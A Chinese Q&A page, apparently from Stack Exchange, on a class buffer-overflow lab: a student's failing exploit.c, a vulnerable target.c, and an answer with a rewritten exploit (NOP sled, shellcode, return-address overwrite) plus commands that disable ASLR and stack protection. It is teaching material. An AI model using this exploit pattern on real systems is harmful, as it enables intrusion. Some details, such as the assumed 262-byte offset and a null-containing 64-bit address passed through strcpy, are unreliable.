缓冲区溢出攻击实现求助:exploit.c代码编写问题
缓冲区溢出攻击作业问题
背景与现状
- 作业要求:在Ubuntu服务器上通过
exploit.c对target.c实施缓冲区溢出攻击,禁止修改target.c,仅可修改exploit.c;成功攻击后会出现$$提示符。 - 已完成准备:获取可用shellcode,通过GDB在
target.c的foo()函数设置断点,用info frame拿到返回地址,已编译两个文件。 - 当前问题:
exploit编译运行正常,但无法获取shell权限。
现有代码
exploit.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include "shellcode.h" // replace this define environment to have the correct path of your own target code #define TARGET "/*******************" int main(void) { char *args[3]; char *env[2]; char *tmp = NULL; // Creating an input buffer that can cause buffer overflow in strcpy function in the target.c executable code int buffSize = 1000; char buff[buffSize]; // Intialize buffer elements to 0x01 int i; for (i=0; i < buffSize; i++) buff[i] = 0x01; // write your code below to fill the 22 bytes shellcode into the buff variable, and // at the correct location overwrite the return address correctly in order to achieve stack overflow // Your own code starts here: strcpy (buff[buffSize-22], shellcode); // Your code ends here. // prepare command line input to execute target code args[0] = TARGET; // you must have already compiled and generated the target executable code first args[1] = buff; // the first input parameter to the target code (artfully crafted buffer overflow string) args[2] = NULL; env[0] = "FOO=bar"; env[1] = NULL; if (0 > execve(TARGET, args, env)) fprintf(stderr, "execve failed.\n"); return 0; }
target.c
#include <stdio.h> #include <stdlib.h> #include <string.h> int foo(char* arg) { char localBuf[240]; short len = 240; float var1=2.4; int *ptr = NULL; strcpy(localBuf, arg); printf("foo() finishes normally.\n"); return 0; } int kbhit(void) { struct timeval tv; fd_set read_fd; tv.tv_sec=0; tv.tv_usec=0; FD_ZERO(&read_fd); FD_SET(0,&read_fd); if(select(1, &read_fd, NULL, NULL, &tv) == -1) return 0; if(FD_ISSET(0,&read_fd)) return 1; return 0; } int main(int argc, char *argv[]) { if (argc != 2) { fprintf(stderr, "target: argc != 2\n"); exit(EXIT_FAILURE); } printf("Press any key to call foo function...\n"); while(!kbhit()) ; foo(argv[1]); return 0; }
核心问题分析
- 错误使用
strcpy复制shellcode:shellcode包含非ASCII字符和NULL字节,strcpy遇到NULL字节会立即停止复制,导致shellcode不完整,必须用逐字节复制(如memcpy或循环赋值)。 - 缓冲区布局错误:当前把shellcode放在
buff末尾,而栈溢出需要:- 先填充
localBuf及后续栈变量到返回地址的位置 - 覆盖返回地址为shellcode在栈上的起始位置
- 把shellcode放在缓冲区的可执行区域(通常是起始位置)
- 先填充
修正步骤与代码示例
步骤1:计算偏移量(64位系统为例)
foo()函数的栈布局(从高地址到低地址):
- 返回地址(8字节)
- RBP(8字节)
ptr(8字节)var1(4字节)len(2字节)localBuf(240字节)
从localBuf起始到返回地址的总偏移为:240 + 2 + 4 + 8 + 8 = 262字节。即需要填充262字节后,写入返回地址。
步骤2:关闭ASLR(确保地址固定)
执行命令关闭地址空间随机化:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
步骤3:修正exploit.c代码
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include "shellcode.h" // 替换为你的target程序路径 #define TARGET "/path/to/your/target" int main(void) { char *args[3]; char *env[2]; int buffSize = 1000; char buff[buffSize]; int i; // 初始化缓冲区为0x90(NOP指令,增加攻击容错) for (i=0; i < buffSize; i++) { buff[i] = 0x90; } // 1. 将shellcode复制到缓冲区起始位置 memcpy(buff, shellcode, sizeof(shellcode) - 1); // 去掉shellcode末尾的NULL // 2. 计算返回地址的偏移位置(262字节) int ret_addr_offset = 262; // 替换为你通过GDB获取的shellcode在栈上的地址(小端序写入) unsigned long ret_addr = 0xffffdabc; // 替换为你的实际地址 memcpy(buff + ret_addr_offset, &ret_addr, sizeof(ret_addr)); // 准备执行参数 args[0] = TARGET; args[1] = buff; args[2] = NULL; env[0] = "FOO=bar"; env[1] = NULL; if (0 > execve(TARGET, args, env)) fprintf(stderr, "execve failed.\n"); return 0; }
步骤4:编译target时关闭栈保护
gcc -fno-stack-protector -z execstack -o target target.c
步骤5:编译并运行exploit
gcc -o exploit exploit.c ./exploit
关键说明
- 返回地址获取:在GDB中运行
target,输入b foo打断点,运行后输入x/100x $rsp查看栈布局,找到localBuf的起始地址,这个地址就是shellcode的起始地址(因为buff会被复制到localBuf)。 - 小端序注意:64位系统中地址是小端存储,直接用
memcpy写入地址即可(变量在内存中本身就是小端序)。 - NOP滑条:用0x90填充缓冲区,即使返回地址有微小偏差,也能滑到shellcode起始位置,提高攻击成功率。
内容的提问来源于stack exchange,提问作者NotACoder
相关产品推荐
相关产品推荐

